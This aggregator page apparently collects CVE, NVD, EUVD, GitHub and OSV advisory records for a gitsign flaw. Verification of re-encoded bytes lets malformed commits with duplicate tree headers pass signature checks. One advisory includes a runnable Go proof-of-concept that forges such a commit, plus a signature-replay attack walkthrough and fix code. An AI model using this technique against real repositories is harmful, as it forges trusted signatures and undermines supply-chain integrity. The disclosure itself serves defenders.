gitsign verify accepts signatures over go-git-normalized bytes, enabling trust confusion on malformed commits

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No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Gitsign is a keyless Sigstore to signing tool for Git commits with your a GitHub / OIDC identity. Prior to 0.16.0, gitsign verify and gitsign verify-tag re-encode commit/tag objects through go-git's EncodeWithoutSignature before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate tree headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes gitsign verify while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content. This vulnerability is fixed in 0.16.0.

Source published

15 May 2026 16:22:51 UTC

Source modified

15 May 2026 17:43:59 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 5.3 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N

Gitsign is a keyless Sigstore to signing tool for Git commits with your a GitHub / OIDC identity. Prior to 0.16.0, gitsign verify and gitsign verify-tag re-encode commit/tag objects through go-git's EncodeWithoutSignature before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate tree headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes gitsign verify while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content. This vulnerability is fixed in 0.16.0.

Source published

May 15, 2026, 4:22:51 PM (timezone not stated)

Source modified

May 15, 2026, 5:43:59 PM (timezone not stated)

Observed here

28 Oct 2026 06:06:57 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 5.3 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N

Gitsign is a keyless Sigstore to signing tool for Git commits with your a GitHub / OIDC identity. Prior to 0.16.0, gitsign verify and gitsign verify-tag re-encode commit/tag objects through go-git's EncodeWithoutSignature before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate tree headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes gitsign verify while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content. This vulnerability is fixed in 0.16.0.

Source published

15 May 2026 17:16:47 UTC

Source modified

26 Oct 2026 14:10:00 UTC

Observed here

27 Oct 2026 11:12:09 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 5.3 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N

## Summary `gitsign verify` and `gitsign verify-tag` re-encode commit/tag objects through go-git's `EncodeWithoutSignature` before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate `tree` headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes `gitsign verify` while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content. ## Severity **Medium** (CVSS 3.1: 5.7) `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N` - **Attack Vector:** Network — a malformed commit can be distributed via any accessible git remote - **Attack Complexity:** High — exploitation requires crafting malformed objects that also bypass git server fsck checks (not universally enabled) - **Privileges Required:** None — the most impactful form (signature replay) requires no signing key - **User Interaction:** Required — a victim must run `gitsign verify` on the malformed commit - **Scope:** Unchanged — impact is confined to the repository under verification - **Confidentiality Impact:** None - **Integrity Impact:** High — a verified signature appears to endorse content different from what git-core resolves and presents to users - **Availability Impact:** None ## Affected Component - `internal/commands/verify/verify.go` — `(o *options).Run` (line 75) - `internal/commands/verify-tag/verify_tag.go` — `(o *options).Run` (line 77) - `pkg/git/verify.go` — `ObjectHash` (lines 126–158, specifically the `commit()` round-trip at 161–176) ## CWE - **CWE-347**: Improper Verification of Cryptographic Signature - **CWE-295**: Improper Certificate Validation (secondary — the mismatch allows a cert to appear to cover content it never covered) ## Description ### Root cause: re-encoding instead of raw-byte verification When `gitsign verify` is invoked, the commit is opened via go-git and its body is reconstructed through `EncodeWithoutSignature` before being passed to the cryptographic verifier: ```go // internal/commands/verify/verify.go:63–92 c, err := repo.CommitObject(*h) // go-git parses the raw object ... c2 := new(plumbing.MemoryObject) if err := c.EncodeWithoutSignature(c2); err != nil { // re-encodes canonical form return err } r, _ := c2.Reader() data, _ := io.ReadAll(r) summary, err := v.Verify(ctx, data, sig, true) // verifies re-encoded bytes, not raw bytes ``` The same pattern appears in `verify-tag`: ```go // internal/commands/verify-tag/verify_tag.go:76–95 tagData := new(plumbing.MemoryObject) if err := tagObj.EncodeWithoutSignature(tagData); err != nil { return err } ``` ### The loose-parsing assumption in go-git The codebase itself acknowledges the problem in `ObjectHash`: ```go // pkg/git/verify.go:137–142 // We're making big assumptions here about the ordering of fields // in Git objects. Unfortunately go-git does loose parsing of objects, // so it will happily decode objects that don't match the unmarshal type. // We should see if there's a better way to detect object types. switch { case bytes.HasPrefix(data, []byte("tree ")): encoder, err = commit(obj, sig) ``` go-git's loose parsing means that for a commit containing two `tree` headers, it silently discards the first and retains the second. `EncodeWithoutSignature` then produces a canonical commit body containing only the second tree — which can differ from what git-core resolves. ### Divergent verification paths confirm the inconsistency The `git verify-commit` path (`internal/commands/root/verify.go`) receives the raw commit bytes directly from git-core and does **not** re-encode them: ```go // internal/commands/root/verify.go:56–70 detached := len(args) >= 2 if detached { data, sig, err = readDetached(s, args...) // raw bytes from git-core } else { sig, err = readAttached(s, args...) } ... summary, err := v.Verify(ctx, data, sig, true) // raw bytes, no re-encoding ``` The two paths therefore reach opposite conclusions for the same malformed commit: `git verify-commit` fails (raw bytes with both trees ≠ signed canonical bytes), while `gitsign verify` succeeds (re-encoded bytes match signed bytes). ### Concrete attack: signature replay without a signing key An attacker does not need a signing key to trigger the confusion. Given any existing legitimately gitsign-signed commit from Alice: ``` tree T1 ← Alice's real tree (what go-git and gitsign see) author Alice <[email protected]> ... committer Alice <[email protected]> ... gpgsig -----BEGIN SIGNED MESSAGE----- <Alice's valid signature over T1 canonical form> -----END SIGNED MESSAGE----- This is Alice's commit. ``` An attacker crafts a new malformed commit object: ``` tree T2 ← attacker's malicious tree (git-core uses this) tree T1 ← Alice's tree (go-git uses this) author Alice <[email protected]> ... committer Alice <[email protected]> ... gpgsig -----BEGIN SIGNED MESSAGE----- <Alice's valid signature — replayed verbatim> -----END SIGNED MESSAGE----- This is Alice's commit. ``` - **`gitsign verify`**: go-git picks T1, re-encodes, Alice's signature verifies. Output: "Good signature from [email protected]." - **`git log` / `git-core`**: uses T2 (attacker-controlled content). - **Rekor lookup**: `ObjectHash` also goes through the go-git round-trip, so the logged hash is the T1-canonical hash — consistent with the forged verification output but not with the actual raw object. The attack requires only that the malformed object be accepted into the local repository (bypassing server-side fsck), and that the victim runs `gitsign verify`. ## Proof of Concept ```go // poc_tree_mismatch.go — run from repo root: go run ./poc_tree_mismatch.go package main import ( "context" "crypto" "crypto/ecdsa" "crypto/elliptic" "crypto/rand" "crypto/x509" "crypto/x509/pkix" "fmt" "io" "math/big" "strings" "time" "github.com/go-git/go-git/v5/plumbing" "github.com/go-git/go-git/v5/plumbing/object" "github.com/go-git/go-git/v5/storage/memory" "github.com/sigstore/gitsign/internal/signature" ggit "github.com/sigstore/gitsign/pkg/git" ) type identity struct { cert *x509.Certificate priv crypto.Signer } func (i *identity) Certificate() (*x509.Certificate, error) { return i.cert, nil } func (i *identity) CertificateChain() ([]*x509.Certificate, error) { return []*x509.Certificate{i.cert}, nil } func (i *identity) Signer() (crypto.Signer, error) { return i.priv, nil } func (i *identity) Delete() error { return nil } func (i *identity) Close() {} func indentSig(sig string) string { sig = strings.TrimSuffix(sig, "\n") lines := strings.Split(sig, "\n") out := "gpgsig " + lines[0] + "\n" for _, ln := range lines[1:] { out += " " + ln + "\n" } return out } func main() { priv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) tmpl := &x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "attacker"}, NotBefore: time.Now().Add(-time.Minute), NotAfter: time.Now().Add(time.Hour), KeyUsage: x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageCodeSigning}, BasicConstraintsValid: true, } rawCert, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv) cert, _ := x509.ParseCertificate(rawCert) treeFirst := strings.Repeat("a", 40) // git-core uses this treeSecond := strings.Repeat("b", 40) // go-git uses this author := "author Eve <[email protected]> 1700000000 +0000" committer := "committer Eve <[email protected]> 1700000000 +0000" msg := "msg\n" // Sign the go-git canonical form (second tree only) canonicalData := fmt.Sprintf("tree %s\n%s\n%s\n\n%s", treeSecond, author, committer, msg) id := &identity{cert: cert, priv: priv} resp, err := signature.Sign(context.Background(), id, []byte(canonicalData), signature.SignOptions{Detached: true, Armor: true, IncludeCerts: 0}) if err != nil { panic(err) } // Craft malformed raw commit: first=treeFirst (git-core), second=treeSecond (go-git) malformedRaw := fmt.Sprintf("tree %s\ntree %s\n%s\n%s\n%s\n%s", treeFirst, treeSecond, author, committer, indentSig(string(resp.Signature)), msg) st := memory.NewStorage() enc := st.NewEncodedObject() enc.SetType(plumbing.CommitObject) w, _ := enc.Writer() _, _ = w.Write([]byte(malformedRaw)) _ = w.Close() c, err := object.DecodeCommit(st, enc) if err != nil { panic(err) } // Reproduce what gitsign verify does out := new(plumbing.MemoryObject) if err := c.EncodeWithoutSignature(out); err != nil { panic(err) } r, _ := out.Reader() verifyData, _ := io.ReadAll(r) roots := x509.NewCertPool() roots.AddCert(cert) v, _ := ggit.NewCertVerifier(ggit.WithRootPool(roots)) _, verr := v.Verify(context.Background(), verifyData, []byte(c.PGPSignature), true) objHash, oerr := ggit.ObjectHash(verifyData, []byte(c.PGPSignature)) rawObj := &plumbing.MemoryObject{} rawObj.SetType(plumbing.CommitObject) _, _ = rawObj.Write([]byte(malformedRaw)) fmt.Println("FIRST_TREE_IN_RAW (git-core):", treeFirst) fmt.Println("SECOND_TREE_IN_RAW (go-git):", treeSecond) fmt.Println("GO_GIT_PARSED_TREE:", c.TreeHash.String()) fmt.Println("VERIFY_DATA_EQUALS_CANONICAL:", string(verifyData) == canonicalData) fmt.Println("CERT_VERIFY_ERROR:", verr) // nil = signature accepted fmt.Println("OBJECTHASH_ERROR:", oerr) fmt.Println("OBJECTHASH_FROM_VERIFY_DATA:", objHash) fmt.Println("RAW_MALFORMED_COMMIT_HASH:", rawObj.Hash().String()) // differs from objHash } ``` **Expected output:** ``` FIRST_TREE_IN_RAW (git-core): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa SECOND_TREE_IN_RAW (go-git): bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb GO_GIT_PARSED_TREE: bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb VERIFY_DATA_EQUALS_CANONICAL: true CERT_VERIFY_ERROR: <nil> ← signature accepted OBJECTHASH_ERROR: <nil> OBJECTHASH_FROM_VERIFY_DATA: <hash of canonical form> RAW_MALFORMED_COMMIT_HASH: <different hash> ← hash mismatch confirms split ``` ## Impact - **Signature binding bypass**: `gitsign verify` reports a valid signature from a trusted identity for a commit that git-core resolves to completely different content (a different tree). - **Signature replay without a key**: An attacker can reuse any existing gitsign-signed commit to produce a new commit that passes `gitsign verify` but points to attacker-controlled content, without possessing any signing key. - **Rekor tlog inconsistency**: `ObjectHash` also goes through the go-git round-trip, so the hash stored in or looked up from the transparency log is the normalized hash, not the raw object hash. An auditor cross-referencing the tlog hash against the actual object store will see a mismatch. - **Verification path divergence**: `git verify-commit` and `gitsign verify` reach opposite verdicts for the same malformed commit, undermining auditability. ## Recommended Remediation ### Option 1: Verify against raw bytes (preferred) Change the `gitsign verify` and `gitsign verify-tag` CLI commands to read the raw object bytes from the git object store and strip the signature header manually, mirroring what git-core does and what `commandVerify` already does when called by `git verify-commit`: ```go // internal/commands/verify/verify.go — replace lines 63–92 enc, err := repo.Storer.EncodedObject(plumbing.CommitObject, *h) if err != nil { return fmt.Errorf("error reading encoded commit object: %w", err) } r, err := enc.Reader() if err != nil { return err } rawBytes, err := io.ReadAll(r) if err != nil { return err } data, sig, err := git.ExtractSignatureFromRawObject(rawBytes) if err != nil { return err } // data is now the raw bytes without the gpgsig header — identical to what git-core passes summary, err := v.Verify(ctx, data, sig, true) ``` This aligns the CLI verification path with the `commandVerify` (git verify-commit) path that already handles raw bytes correctly. ### Option 2: Detect and reject malformed objects Add a pre-verification check in `ObjectHash` and in the verification path that rejects objects with duplicate field headers (duplicate `tree`, `parent`, `author`, `committer`), returning an error rather than silently normalizing: ```go func validateRawCommitFields(data []byte) error { seen := map[string]bool{} for _, line := range bytes.Split(data, []byte("\n")) { if idx := bytes.IndexByte(line, ' '); idx > 0 { key := string(line[:idx]) if seen[key] { return fmt.Errorf("malformed commit: duplicate field %q", key) } seen[key] = true } if len(line) == 0 { break // end of headers } } return nil } ``` This is a defense-in-depth measure but does not address the fundamental architectural issue of verifying re-encoded bytes. ## Credit This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).

Source published

8 May 2026 22:38:50 UTC

Source modified

10 Sep 2026 03:50:46 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N

Publisher rating · MODERATE

gitsign verify accepts signatures over go-git-normalized bytes, enabling trust confusion on malformed commits in github.com/sigstore/gitsign

Source published

25 Jun 2026 18:43:15 UTC

Source modified

25 Jun 2026 19:45:17 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.